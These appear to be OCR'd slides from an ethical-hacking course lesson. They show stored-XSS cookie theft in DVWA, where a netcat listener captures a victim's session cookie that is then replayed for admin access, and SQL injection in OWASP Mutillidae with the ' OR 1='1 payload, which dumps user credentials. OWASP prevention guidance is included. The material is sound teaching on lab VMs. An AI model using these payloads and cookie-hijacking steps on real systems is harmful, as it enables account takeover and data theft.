We do not take responsibility for the way inwhich any one uses this application. We have made the purposes of
the application clear and it should not be used maliciously. We have given warnings and taken measures to -

Upload prevent users from installing D%VYWWA on to live web servers. If your web server is compromised via an installation of
XSS reflected DWWYA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it
XSS stored General Instructions
DVWA Security A o . , ’ :
The help button allows you to view hitsftips for each valnerability and for each security level on their respective
PHP Info page.
About
Logout
W bheun lnamad inoae tsdeain! z
&] Dore & Internst

Switch back to Kali for the next step 117
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Stealing Cookies with XSS

[Kali] netcat -lvp 80

root@eh-kali-05: ~ e e O

File Edit View Search Terminal Help
:~# netcat -lvp 8@
listening on [any] 80 ...

Start listing for incoming http traffic to port 80 118
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Stealing Cookies with XSS

[WinXP] http://10.76.xx.101/dvwa/index.php

<2 Damn Yulnerable Web App (DVWA) v1.8 :: Welcome - Microsoft Internet Explorer
Edit

File

eBack 54 d |ﬂ @ .._;‘J /.__\J Search ‘i\? Favarites {;‘}

Address |=§| http: 110,765, 101 dvwafindesx.php B k>

Wiew Favorites Toaols  Help

Welcome to Damn Vulnerable Web App!

Instructions Darmn Yulnerable Web App (DWWA) is a PHPMySQL web application that is darmn vulnerable. lts main goals
are to be an aid for security professionals to test their skills and tools in a legal ervironment, help web developers
Setup better understand the processes of securing web applications and aid teachers/students to teachfleam web

application securty in a class room environment.

WARNING!

Darnn “ulnerable Web App is damn vulnerablel Do not upload it to your hosting provider's public html folder or
any internet facing web server as it will be compromised. Ye recommend downloading and installing ZAMPE
onto a local machine inside your LAM which is used solely for testing.

Brute Force

Command Execution
CSRF
Insecure CAPTCHA

File Inclusion

SaL Injection Disclaimer

SOL Injection (Blind)

YWe do not take responsibility for the way inwhich any one uses this application. Ye have made the purposes of
the application clear and it should not be used maliciously. YWe have given warnings and taken measures to =

Upload prevent users from installing D%WWA on to live web servers. If your web server is compromised via an installation of
XSS reflected D%WA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.
x5S stored General Instructions
DVWA Security ) _— . , ’ :
The help button allows you to view hitsitips for each valnerability and for each security leval on their respective
PHP Info | page.
About |
Logout
| Wt bewn lamand in ae tadeain! :
&] Done #® Internet

Victim clicks on XSS Stored 119
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Stealing Cookies with XSS

[WIinXP] http://10.76.xx.101/dvwa/vulnerabilities/xss_s/

File Edit Yew Favorites Toaols Help

QBack >, d |ﬂ Iﬂ ;j /5\1 Search ‘»;1\L(Favnr|tes e} ":' “_‘f —1 3

Address |€| http:ff10.76.5.101 /dvwavulnerabilitiesxss_s!

v| Go  Links

Vulnerability: Stored Cross Site Scripting (XSS)

Home

Instructions

Marme * ‘ |

Setup

Brute Force Massage =

Command Execution
CSRF
Insecure CAPTCHA

Sign Guestbook

File Inclusion

Message: This is a test comment
SQL Injection {Blind)

Upload
XSS reflected

Mame: Mu ha ha
M :

[e[=N

More info

DVWA Security
PHP Info

About

|
|
|
|
|
|
|
|
SOL Injection | MName: test
|
|
|
|
|
|
|
Logout |

|

@ http:f§10.76.5.101 fdvwajvuiner abilities il zpage=include. php #® Internet

When the browser renders this page the malicious script is executed 120
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Stealing Cookies with XSS

[Kali] netcat -lvp 80

root@eh-kali-05: ~ @ ® 0

File Edit View Search Terminal Help

:~# netcat -lvp 80
listening on [any] 80 ..
10.76.5.201: inverse host lookup failed: Unknown host
connect to [18.76 50] from {HNFNOWNI [10 76.5 101] 14’1
GET ;bugu_ php E E SES

ept-Languag n-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.® (compatible; MSIE 6.8; Windows NT 5.1; SV1)
Host: 10.76.5.150
Connection: Keep-Alive

security=low; %20PHPSESSID=chhba9fpi8m1pcapu08g0t2mp5;%20acope
ndivids=swingset,jotto,phpbb2,redmine;%20acgroupswithpersist=nada

The attacker now can see and copy the victims session cookie 121
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Stealing Cookies with XSS

[Kali] Run the Tamper Data tool

F

Damn Vulnerable Web App (DVWA) - Lot

File Edit View History Bookmarks Tools Help

Kali Linux, an Offensive S... x j_,-e DamnV  Downloads Ctrl+Shift+Y

€ ) @ & | 10.76.5.101/dvwa/login.php AL e R U SIS v 90%
' o Sign In To Sync... |
f5 Most Visitedv [l Offensive Security N Kz pls = Exploit-DB W
. Web Developer > |
Page Info Ctrl+l

Tamper Data

DV/WA .

On Firefox run the Tamper Data tool

122



EH-Kali-05 on 192.168.0.20

File View WM
nir et @ Pl @

Applications A O~

root@eh-kali-05: ~
Tamper Data - Ongoing requests

File Edit View Search Terminal Help
Stop Tamper Clear Options  Help

5.201: in Show All
t to [18.76. 9 76 L

- % |E=I‘|p’ i B & . b h e mflno Total Dur... M... Content ... Load ... =]
phpbb2, i ith : 45 ms 8 GET text/plain htt.. LOAD_BYPA.. *

3. 7 201057 ms 1596 GET text/html htt.. LOAD_DOC..

0 ms unk... GET unknown htt.. LOAD_NOR...

CAD_NOR...

CAD_NOR...

File Edit View History Bookmarks Tools Help OAD_BYPA...

Kali Linux, an Offensive S.. x | @ Damn Vulnerable We.. = | + PAD-NOR.

e ~ AD_FRO...

= DAD_FRO..
F
[ Most Visited~ JlOffensive Security S Kali Linux " Kali Docs % Kali Tools = Exploit-DB Wy Aircrack-ng gdKali Forums “ NetHunter > ponse He..

http://10.76.xx.101/dvwa/vulnerabilities/xss_s/

DVWA)

Damn Vulnerable Web App (DVWA) - Login - Mozilla Firefox e 60 O

€ 3| ]10.76.5.10 /dvwallvulnerabilities/xss_s/ | v 3% | 3 ||Q Search wBa ¥+ #

Username

Password

Start tampering, update the URL then press Enter (do not click Login button)
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H-Kali-05 on 192.168.0.20

File View WM

wir @8 @& Ble @ #

Applications v !

root@eh-kali-05: ~

File Edit View Search Terminal
: ~¥ cat -

.5.150
zillays5.0 (Windows NT 5.1; rv:52.0) Gec

Damn Vulnerable Web App (DVWA) - Login - Mozilla Firefox

File Edit View History Bookmarks Tools Help

Connection: g Kali Linux, an Offensive S.. ® / (* Connecting... x|\ +

D € 10.76.5.101/dvwa/vulnerabilities/xss_s/ 90% | % | |Q Search B ¥+ &

[ Most Visited~ JlOffensive Security S Kali Linux "% Kali Docs % Kali Togl Tamper with request? <]

http://10.76.5. 101 /dvwa/vulnerabilities/xss_s/

~ . .
Dvw Continue Tampering?
L !W| | Abort Request || Tamper ||

Username

Password

Click the Tamper button
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File View VM

n e & bde @

_,o‘. '))) O~

root@eh-kali-05: ~
File Edit View Search Terminal Help

Tamper Popup

http://10.76.5.101/dvwa/vulnerabilities/xss_s/

Request Header Name Request Header Value Post Parameter Name Post Parameter Value

Host 10.76.5.101

.User—Agent Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Ge
Accept text/ntml,application/xhtml+xml.applicatior _
Accept-Language en-US,en:q=0.5
Accept-Encoding gzip, deflate

ICookie security=low; security=low; PHPSESSID=c |

i Cancel || OK

Locate the Cookie field

125
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(5] EH-Kali-05 on 192.168.0.20 =] B2
View  YM

nie el @ Ble @@

Applications v Places v+ [ Terminal

root@eh-kali-05: ~

File Edit View Search Terminal Help

5.201: inve hos ookup fai 5
t to [10. from (UNKNOWN) ] .20 1552
php -1 g ed40fs6uvnflnplrfcltl; acopendi
phpbb2, r hpe a HTTP/1.1
g >.5.150

Mozilla/5.0 (Windows NT 5.1; rv:52.0) Gec Post Parameter Value

q
, deflate
5.101/dvwa/vulnerabilitie
p-alive

-Language

Accept-Encoding gzip, deflate

kie 1b2,redmine;%20acgroupswithpersist=nada ]

Cancel | OK

_

Replace your cookie with the victim's cookie 126
Don't include the "GET", the requested website page (bogus.php) or the trailing "HTTP/1.1
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&) EH-Kali-05 on 192.168.0.20 H[=1 E3

Eile View VM

njr 68 RO

i
root@eh-kali-05: ~ — R CT R ¥
File Edit View Search Terminal Help
“fefox - o «x
= PHP D
p Tamper Data - Ongoing requests [ - ]
Filter ] Show All
Dur... Total Dur... M. L Content ... Load ... i
154..57ms 280 ms 619 GET 200 text/html htt.. LOAD_DOC..
15:4.. 0 ms 0ms unk.. GET pendi.. unknown htt.. LOAD_NCR..
[] 15:4.. 0 ms 0ms unk... GET pendi... unknown htt.. LOAD_NOR...
15:4..nfams  n/ams unk... GET Canc... unknown hit.. LOAD_BYPA..
ﬁ LA Tamper with request? []
Setup
oy http://10.76.5.150
Brute Force u /bogus.php?%20security=low;%20security=low;%20PHPSESSID=cc3cne071snk230862963ta496...
‘Command Execution
[“1Continue Tampering?
csrr | _
— Insecure CAPTCHA | | Submit | Abort Request | Tamper
= File Inclusion
- SQL Injection Name: test
Gl Message: This i§
- SQL Injection (Blind)
Upload | Name: M.u ha hg
XSS reflected :

\ More info
Read 10.76.5.101

Voila! We have "logged in" using the victims session cookie 127
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H-Kali-05 on 192.168.0.20

Eile View YM
uir 8o @bdeS e

Applications = Pla B Fi 2 Tue 15:45

root@eh-kali-05: ~
File Edit View Search Terminal Help

Damn Vulnerable Web App (DVWA) v1.8 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Firefox @ ® @
File Edit View History Bookmarks Tools Help
Kali Linux, an Offensive S.. » | [@ Damn Vulnerable We.. * | +

i e o x
€ ) @ 10.76.5.101/dvwa/vulnerabilities/xss_s/  E1(80% | & || Q Search w8 ¥ @ ;

Options  Help
{5 Most Visitedw [l Offensive Security ", Kali Linux " Kali Docs *& Kali Tools = Exploit-DB W Aircrack-ng

Show All

| sionGuestbook | Load ... ]
OAD_BYPA... ©
OAD_BYPA..
Name: test OAD_DOC...
Message: This is a test comment. OAD_NOR...
OAD_NCR...

Name: Mu ha ha

More info

Login failed

Username: admin View Source | View Help
Security Level: low

PHPIDS: disabled

And we have full admin rights 128
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SQL Injection

Used to attack web applications that store data in a SQL
database.

Malicious SQL statements are inserted into input fields of
web forms that when executed can bypass authentication,
dump database contents, tamper with data, or delete
tables in the database.

https://www.owasp.org/index.php/SQL Injection
131


https://en.wikipedia.org/wiki/SQL_injection
https://www.owasp.org/index.php/SQL_Injection

OWASP Risk Rating

Threat Agents

Application Specific

Consider anyone who
can send untrusted
data to the system,
including external
users, internal users,
and administrators.

Attack Vectors

Attacker sends simple
text-based attacks
that exploit the syntax
of the targeted
interpreter. Almost
any source of data
can be an injection
vector, including
internal sources.

CIS 76 - Lesson 12

Injection

Security Weakness

Injection flaws occur when an application
sends untrusted data to an interpreter.
Injection flaws are very prevalent, particularly
in legacy code. They are ofien found in SQL,
LDAP, Xpath, or NoSQL queries; 05
commands; XML parsers, SMTP Headers,
program arguments, etc. Injection flaws are
easy to discover when examining code, but
frequently hard to discover via testing.
Scanners and fuzzers can help attackers find
injection flaws.

Technical
Impacts

Injection can result in

data loss or
corruption, lack of
accountability, or
denial of access.
Injection can
sometimes lead to
complete host
takeover.

aull A 1}
m L &

Business
Impacts

Application /
Business Specific

Consider the business
value of the affected
data and the platform
running the
interpreter. All data
could be stolen,
maodified, or deleted.
Could your reputation
be harmed?

132


https://www.owasp.org/index.php/Top_10_2013-A1-Injection

Q,

' 73 you can just write it into a text file, upload
| :.1‘ it to a web server (in most of the world),

Ml o) 1:54/858 B 9 O]

://www.youtube.com/watch?v=_jKylhJtPmI

Time 8:33 133


https://www.youtube.com/watch?v=_jKylhJtPmI
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OWASP Injection Prevention

How Do I Prevent 'Injection’?
Preventing injection requires keeping untrusted data separate from
commands and queries.

1. The preferred option is to use a safe API which avoids the use of
the interpreter entirely or provides a parameterized interface. Be
careful with APIs, such as stored procedures, that are
parameterized, but can still introduce injection under the hood.

2. If a parameterized API is not available, you should carefully
escape special characters using the specific escape syntax for
that interpreter. OWASP’s ESAPI provides many of these escaping
routines.

3. Positive or "white list" input validation is also recommended, but
is not a complete defense as many applications require special
characters in their input. If special characters are required, only
approaches 1. and 2. above will make their use safe. OWASP’s
ESAPI has an extensible library of white list input validation
routines.

134
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Excellent tutorial on SQL Injection using Mutillidae 135


https://www.youtube.com/watch?v=RtN8tlR7q-M
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SQL Injection

Example Overview:

For this example we will use Mutillidae IT on the EH-OWASP VM
to show how SQL commands can be injected into a web
application. The web application does not check and sanitize the
input so anything added will get executed as a SQL query.

The attacker will browse from EH-Kali to the web server on the
EH-OWASP VM.

The EH-Kali browser does not use the Burp Suite proxy in this

example so the proxy configuration in the last example can be

undone ("Pancakes" icon > Preferences > Advanced > Network
> Settings... > Select "No proxy").

136
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SQL Injection

Example Overview:

For this example we will use Mutillidae IT on the EH-OWASP VM

to show how SQL commands can be injected into a web
application. The web application does not check and sanitize the
input so anything added will get executed as a SQL query.

The attacker will browse from EH-Kali to the web server on the
EH-OWASP VM.
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OWASP Mutillidae 11

[EH-Kali] http://10.76.xx.101

owaspbwa OWASP Broken Web Applications - Mozilla Firefox @ 06

J,-"’ .O owaspbwa OWASP B... x "'-kﬂ webpwnized - YouTube x

(€)3]® 1723010175 ¢ ][ search R A= $ A& ey =

[ Most Visited v [l Offensive Security S Kali Linux “ Kali Docs % Kali Tools EBExploit-DB Wy Aircrack-ng

owaspbwa

OWASP Broken Web Applications Project
P Y

Version 1.2
This is the VM for the Open Web lication Security Project (OWASP) Broken Web Applications project. It contains many, very vulnerable web
applications, which are listed below. More information about this project can be found in the project User Guide and Home Page.

For details about the known vulnerabilities in these applications, see https://sourceforge.net/p/owaspbwa/tickets/?limit=999&
sort=_severity+asc.

. ! This VM has many serious security issues. We strongly recommend
[?). that you run it only on the "host only" or "NAT" network in the virtual
machine settings !!!

TRAINING APPLICATIONS

@ OWASP WebGoat @ OWASP WebGoat.NET
©QWASP ESAPI Java SwingSet Interactive [©owasp Musinidee 1 ]
@ OWASP RailsGoat @ OWASP Bricks

& OWASP Security Shepherd @ Ghost

@ Magical Code Injection Rainbow & pWAPP

@ Damn Vulnerable Web Application

On your Kali VM, browse to your OWASP VM and head to Mutillidae II

Disable web
proxy if
configured

138
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OWASP Mutillidae II

Motzilla Firefox e e O
/ & http://172...mutillidae/ x -.\ﬂ webpwnized - YouTube x &

(€) ®17230.10.175/mutillidae/ ¢ ||Q search | % B8 ¥ A #y =

[ Most Visited v Jll Offensive Security S Kali Linux “ Kali Docs S Kali Tools EBExploit-DB W Aircrack-ng

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home L Register Toggle Hints Show Popup Hints Toggle

curity Enforce SS5L Reset DB View Log View Captured Data

[ Mutillidae: Deliberately Vulnerable Web Pen-Testing Application ]

";" Like Mutillidae? Check out how to help

? What Should | Do? j?gi‘ Video Tutorials

OWASP 2007 ¥

ices

T L2
HTML 5 »
Help Me!
»
A
A

Web Servi
—_—

i Listing of vulnerabilities
—

v 4
/ ? Bug Tracker @ Bug Report Email Address
Gettingrsiarted: )
Project
Whitepaper
@ What's New? Click Here ’ Release Announcements
Reloase PHP MyAdmin Console ‘. Feature Requests
Announcements
— 3 . \ i
You 5 Installation Instructions ¥ Tools
Tt &
—
Video

- Y] 1 PP . X

Select OWASP 2013 on the left panel 139
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OWASP Mutillidae II

OWASP 2013 > A1l Injection (SQL) > SQLi - Extract Data > User Info (SQL)

@« OWASP Mutillidae II: Web Pwn in Mass Proc

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log

OWASF 2013 I Al - on ) I act Data ]
T -—n—-n_-r-—-—.‘ “

- Injection (Other) k| SOLi- By uthentication

OWASP 2010

Broken Authentication and Session® | SOLi - 1
OWASP agemeant - how to hElp

S - Cross Site Scripting (X55)
Web Services L

- Insecure Direct Object Reference:d®

- Security Misconfiguration = - p
Via B0AF Web Service
Af - Sensitive Data Exposure - o .
Via REST Web Service L4
| AT - Missing Function Level Access

Control H Listing of vulnerabilities
Resources ' AB - Cross Site Request Forgery
[ 1F)

Documentation

;7 AD - Using Components with Known
! Vilnerahilities =
. ulnerabilitie @ Bug Report Email Address
. e AlD - Unvalidated Redirects and
Getting Started J i ——— '
Project
Whitansnar i, it il

Keep selecting till you get to User Info (SQL) 140
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OWASP Mutillidae II

Mozilla Firefox e ® O
/ % http://172...er-info.php x | 8 webpwnized - YouTube x &

-'_(-'_-_-:_-_172.30.10.175.-"r':l.|t|llin_'lar:.-'i|'u:|&:< php?page=user-info.php ¢ ||Q Search | W B8 4+ @ #v

f5Most Visited v Jll Offensive Security S Kali Linux " Kali Docs % Kali Tools KBExploit-DB Wy Aircrack-ng

e OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce 551 Reset DB View Log View Captured Data

OWASP 2013 [

User Lookup (SQL) ]

OWASP 2010

OWASP 2007 <§ Back Q Help Me!

Web Services

= A
HTML 5 A‘g Switch to SOAP Web Service version HL Switch to XPath version

Others

Documentation Please enter username and password
to view account details

Resources

y |
Password |

Getting Started:
Project
Whitepaper

®

Re Ila:a se
Announcements

[ View Account Details ]

Dont have an accountiPiease register here l

You
Tuhe}

LD
Video v

141
Click the link to register a new account for yourself
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OWASP Mutillidae II

Mozilla Firefox e 0 O
/ & http://172...egister.php * | & webpwnized - YouTube x &

( €= ) (0| 172.30.10.175/mutillidae/index.php?page=register.php o | Q, Search | &% B 3 HF #=v
phpspac J Ph| |

[ Most Visited v Jll Offensive Security S Kali Linux " Kali Docs S Kali Tools EBExploit-DB Wy Aircrack-ng

e« OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security

Enforce S5L. Reset DB View Log View Captured Data

OWASF 2013

( Register for an Account |
OWASP 2010

OWASP 2007 % Back e Help Me!

Web Services

¥t

H A’Ax Switch to RESTful Web Service Version of this Page

Others

Documentation

T [ Please choose your username, password and signature ]
Username [simben76
: =" Password oe see Password Generator
Getting Started: l
Project Confirm Password |=» L
Whitepa par (I Love chicken|
Signature
Ralléase

Announcements

You

! ’

Video

142
Add username, password of your choice and any text for the signature
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OWASP Mutillidae II

Mozilla Firefox

'ﬁf(‘_ﬁ' 42 (@ | 172.30.10.175/mutillidae/index.php? page =register.php

c | |C‘s Search

Getting Started:
Project
Whitepaper

=

Release
Announcements

You
e
Video
Tutorials

®

OWASP

Most Visited v JllOffensive Security “ Kali Linux " Kali Docs " Kali Tools BB Exploit-DB W Aircrack-ng

( Register for an Account

Back g Help Me!

M Switch to RESTful Web Service Version of this Page

Please choose your username, password and signature

Username
Password Password Generator
Confirm Password

Signature ‘

Create Account

'CSRF Protection Information

Posted Token:
(Validation not performed)

Expected Token For This Request:
Token Passed By User For This Request:

MNew Token For Next Request:
Token Stored in Session:

Account has been created
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OWASP Mutillidae II

OWASP 2013 | Al - Injection (SOL)

Now that we have created a new user, lets start over and login
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OWASP Mutillidae II

Mozilla Firefox [— O ¥ ]
§ http://172...er-info.php = | @ webpwnized - YouTube x | &

(- (@ | 172.30.10.175/mutillidae/index.php? page=user-info.php [Fo ||fo:earch iﬁ' B 4+ @ =y =

[ Most Visited v Jll Offensive Security ' Kali Linux & Kali Docs “e Kali Tools EMExploit-DB Wy Aircrack-ng

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

sgister Toggle Hints Show Popup Hints  Toggle Security Enforce S51 Reset DB View Log  View Captured Data

[ User Lookup (SQL) ]

Back g Help Me!

[
Switch to SOAP Web Service version ML Switch to XPath version

m Please enter username and password
to view account details

OWASE 2007

Name simben7g
@ Password semssnss
- e [ View Acoourt Detals |
Project
White
REEST Dont hawve an account? Please register here
Rgl:ﬂue
Announcements
You
—
Video
Tutorials

® .

Login using your new account
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OWASP Mutillidae II

[ Mozilla Firefox e 0 O
J f http://172....nt+Details x \ﬂ webpwnized - YouTube x <

- _ )| 172.30.10.175/mutillidae/index.php? page =user-info.php&userr | & ||Q Search | &% & ¥ @ =y =
[ Most Visited v Jll Offensive Security S Kali Linux % Kali Docs "%, Kali Tools EMExploit-DB Wy Aircrack-ng

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Hints: Disabled (O - | try harder) HNot Logged In

Version: 2.6.24 Security Level: 0 (Hosed)

View Log  View Captured Data

Home Login/Register Toggle Hints Show Popup Hints  Toggle Security  Enforce 551 Reset DB

User Lookup (SQL)

Back g Help Me!

[
Switch to SOAP Web Service version ML Switch to XPath version

Please enter username and password
to view account details

Name (|
Password

e orelect [ Ve Accoumt etts ]

Project
Whitepaper

Dont have an account? Please register here
for 76".1 rds found.

[

‘ Username=simben76
Password=password

Rg|;.n.e Signature=| love chicken

You
Ll
Video
Tutorials

® .

If successful your account details will be display below
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OWASP Mutillidae II

Mozilla Firefox — I T

/% http://172...nt+Details x | B webpwnized - YouTube x

€)2a [1?2.30.10.1?5.-"|“'=I.|:illiclae.-"i|'|r.Ie:>< php?page=user-info.phpi ll'_‘ ||Q‘E:ea|‘ch | w2 ¥+ H = v

[ Most Visited v [l Offensive Security "% Kali Linux "% Kali Docs % Kali Tools EBExploit-DB W Aircrack-ng

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) HNot Logged In

Home Login/Register Toggle Hints  Show Popup Hints  Toggle Security  Enforce S5 Reset DB View Log  View Captured Data

[ User Lookup (SQL)

M Switch to SOAP Web Service version ML Switch to XPath version

Please enter username and password
to view account details

Resources Ly

)
I :am » To run a text editor
assSWo [— -
+ on Kali:
S (Vew Accomt oeats ]
Project
Whitepaper

Dont have an account? Please register here

Applications >

Usual applications >
http://172.30.10.175/mutillidae/index.php?page=user- Accessories >

info.php&username=simben76&password=password&user-info-php-submit-button=VYiew+Account+Details Text Editor

H Open ~ HE‘ *Untitled Document 1 ‘ Save HE‘ @ ee0

Plain Text + Tab Width: 8 « Ln 1, Col 146 - INS

147
Record the URL in a text editor so you can examine the fields
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OWASP Mutillidae II

Mozilla Firefox e e O
1 http://172...nt+Details * N - webpwnized - YouTube x &

|'¢L‘E:earch |1‘,':f B @ 3 @ =v =

fi5] Most Visited v JllOffensive Security " Kali Linux “& Kali Docs & Kali Tools KBExploit-DB W Aircrack-ng

€ o '-info.php&username=simben?ﬁ&password:[badlnassword&u| ]

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled {0 - | try harder) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints  Toggle Security Enforce SS1L. Reset DB View Log  View Captured Data

OWASF 2013 [

User Lookup (SQL)

OWASEF 2010

OWASP 2007 » == Back q Help Me!

3 : A
M Switch to SOAP Web Service version Switch to XPath version
o |
| Please enter username and password

to view account details

‘™ — ,

Getting Started: Password (
Project
Whitepaper [ View Account Details
Dont have an account? Please register here
” Results for "simben76".0 records found.
Relénse
Announcements

Tamper with the password portion of the URL to see if you can get an error 148
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OWASP Mutillidae II

. ef
single quote added i oo
§ http://172...nt+Details x | & webpwnized - YouTube|x | #
€ | (i info.php&username=simben76&password=password &user-i c ||Qf:earch | W A 4 HF =y =

fi5] Most Visited v Jll Offensive Security e Kali Linux " Kali Docs “ Kali Tools EMExploit-DB W Aircrack-ng

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Mot Logged In

Home LoegingRegister Toggle Hints  Show Popup Hints  Teggle Security  Enforce SSL Reset DE - View Log  View Captured Data

OWASF 013 [

User Lookup (SQL)

OWASF 2010
OWASP 2007 ¥ = Back Q Help Me!

v f—b L
A,Ax Switch to SOAP Web Service version XML Switch to XPath version

m Please enter username and password
to view account details
Name [

@ Password [

Getting Started: [ e
Project
Whitepaper :
el Dont have an account? Please register here
Error Message
Rel | Failure is always an option |
enase
Announcements | 201 |[178 |
[ tode e |
| File ||.l'awasphwa."mutillidae-git.’:lasses."l‘ﬂy‘iﬂLHandler.php |
YDII | ||.l'awasphwa."mutillidae-git.l’l:lasses.l'HyE(]LHan-:ller.php an line 165: Error executing query: | v

Fix the password and add a single quote after it. Try it and observe what happens. 149
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OWASP Mutillidae II

Error Message

Failure is always an option

—————————————

Code "H
File "fﬂwasphwafmuti1lidae-gitftlasses#ﬂgﬁgLHandler.EhE l

fowasphwa/mutillidae-gitsclasses/My3dLHandler . php on 1line 165: Error executing query:

connect_errna: 4

errna: 1964

errar: You have an error in your 5QL syntax; check the manual that corresponds to your MySOL server wersion far the right syntax to
use near '‘password''' at line 2

client_info: 5.1.73

host_infa: Localhast wia UMIX socket

Message

][ﬂuery: SELELT * FROM accounts WHERE username='simben?6' AND password='password'' (@] IE::eptiun]]

#8 Sowaspbwa/mutillidas-git/classes/MySdLHandler.php{283]): MyS0LHandler->doExecuteQuery| 'SELECT * FROM a...'] #1 fowaspbwa/mutillidae-
Teucn git/classes/S0LQueryHandler. php{327): MySQLHandler-zexecutefuery{ 'SELECT * FROM a...'] #2 Sfowaspbwa/mutillidae-gitfuser-info.php{191]:
SOLQueryHandler-»getlserfccount|'simben?d’, 'password''] #3 Jowaspbwa/mutillidae-git/index.php{614]: require ance('/owaspbwa

fmutil... '] #4 [main}

Error attempting to display user infarmatiaon

Diagnotic
Information
| Click here to reset the DB

Scroll down to see the full error message

http://172.30.10.175/mutillidae/index.php?page=user-
info.php&username=simbenib&password=passwordluser-info-php-submit-button=View+Account+Details

Query: SELECT * FROM accounts WHERE username='simben76' AND passwurd='passwurd()

Lots off useful information is shown. Log the URL and SQL query in the text editor 150
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OWASP Mutillidae II

Mozilla Firefox 2 (=

| % http:/7172...nt+Details x | @ webpwnized - YouTube x | =
€ =-)|:-‘. info.php&username=simben76&password=password'&us c ||Q‘E:earch | w8 ¥+ # =y

[ Most Visited v Jll Offensive Security e Kali Linux % Kali Docs % Kali Tools EBExploit-DB W Aircrack-ng

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) HNot Logged In

Home Login/Register Toggle Hints Show Popup Hints  Toggle Security  Enforce SSL Reset DB View Log  View Captured Data

Qj Back g Help Me!

_ Iy k

A’AX Switch to SOAP Web Service version Switch to XPath version
& i I XML

User Lookup (SQL) ]

Please enter username and password
to view account details

Name [—
dk Password [poneareee
Geting Starea:
Project
Whitepaper Dont have an account? Please register here
‘ Open ~ H n‘ *Untitled Document 1 Save H = ‘ (<

Query: SELECT * FROM accounts WHERE username='simben76' AND password='passwor (works)

Query: SELECT * FROM accounts WHERE username='simben76' AND password='passuOrd'' (gives error)

Query: SELECT * FROM accounts WHERE username=''"' AND password='{Eli;8ES]

Plain Text + Tab Width: & « Ln 6, Col 72 - INS

What happens is we use a password of: ' OR 1="1
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OWASP Mutillidae II

Mozilla Firefox e o0 &
J § http://172...nt+Details x | @ webpwnized - YouTube x | =

(€ )2 )® | info.php&username=_&password="+0OR+1%3D'1&user-inf a ||Q‘E:earch | Ww B 4+ fHi #=#v

[ Most Visited v il Offensive Security S Kali Linux “ Kali Docs e Kali Tools EBExploit-DB W Aircrack-ng

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Disabled (0 = | try harder) Not Logged In

in/Register Toggle Hints Show Popup Hints  Teggle Security  Enforce 551 Reset DB

View Log  View Captured Data

[ User Lookup (SQL) ]

ow 17 ¥
T, *
ﬂ,‘x Switch to SOAP Web Service version Switch to XPath version

m l Please enter username and password l

to view account details

Name e
@ Password
Getting Started:

L

White
EEEESYS Dont have an account? Please register here
[ Results for "".25 records found.
” Username=admin
Password=admin
Release Signature=g0t ro0t?
Announcements

Username=adrian
F d=somep d

You Signature=Zombie Films Rock!

¥
—————

Query: SELECT * FROM accounts WHERE username='"' AND password='

Plain Text + Tab Width: & « Ln 6, Col 72 - INS

That results is a SQL query to dump all the data in the database! 152
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OWASP Mutillidae II

Mozilla Firefox S ® O

,, T http://172...nt+Details = \ D webpwnized - YouTube % |

['_(-}a'f?' (@ | info.php&username=2&password="+OR+1%3D'1&user-ini ¢ ||Q€:earch W B ¥+ f =y =

f5 Most Visited v Jll Offensive Security “e Kali Linux " Kali Docs “ Kali Tools EMExploit-DB W Aircrack-ng

Username=simba L
Password=password
Signature=| am a super-cat

Username=dreveil
Password=password
Signature=Preparation H

Username=scotty
Password=password
Signature=5cotty do

Username=cal
Password=password
Signature=C-A-T-5 Cats Cats Cats

Username=john
Password=password
Signature=Do the Duggie!

Username=kevin
Password=42
Signature=Doug Adams rocks

Username=dave
Password=set
Signature=Bet on 5.E.T. FTW

Username=patches
Password=tortoise
Signature=meow

Username=rocky
Password=stripes
Signature=treats?

Username=tim

— | 1Y
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OWASP Mutillidae II

Mozilla Firefox o e 0
J § hitp://172...nt4Details x | @ webpwnized - YouTube x

(@ |info.php&username=_&password="+0R+1%3D1 &user-in c | |Ch Search | Ww B8 ¥+ @ =)y =
f& Most Visited v Jll Offensive Security “e Kali Linux “e Kali Docs “e Kali Tools EBExploit-DB W Aircrack-ng
Signature=meow 'y

Username=rocky
Password=stripes
Signature=treats?

Username=tim
Password=lanmaster53
Signature=Because reconnaissance is hard to spell

Username=ABaker
Password=5o5ecret
Signature=Muffin tops only

Username=PPan
Password=NotTelling
Signature=Where is Tinker?

Username=CHook
Password=]ollyRoger
Signature=Gator-hater

Username=james
Password=i=3devs
Signature=0ccupation: Researcher

Username=user
Password=user
Signature=User Account

Username=ad
Password=pentest
Signature=Commandline KungFu anyone?

Username=simben76

Password=password
Signature=| love chicken B

Query: SELECT * FROM accounts WHERE username='' AND password='

Plain Text + Tab Width: 8 w Ln 6, Col 72 - INS
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OWASP Mutillidae II

Please enter username and password
to view account details

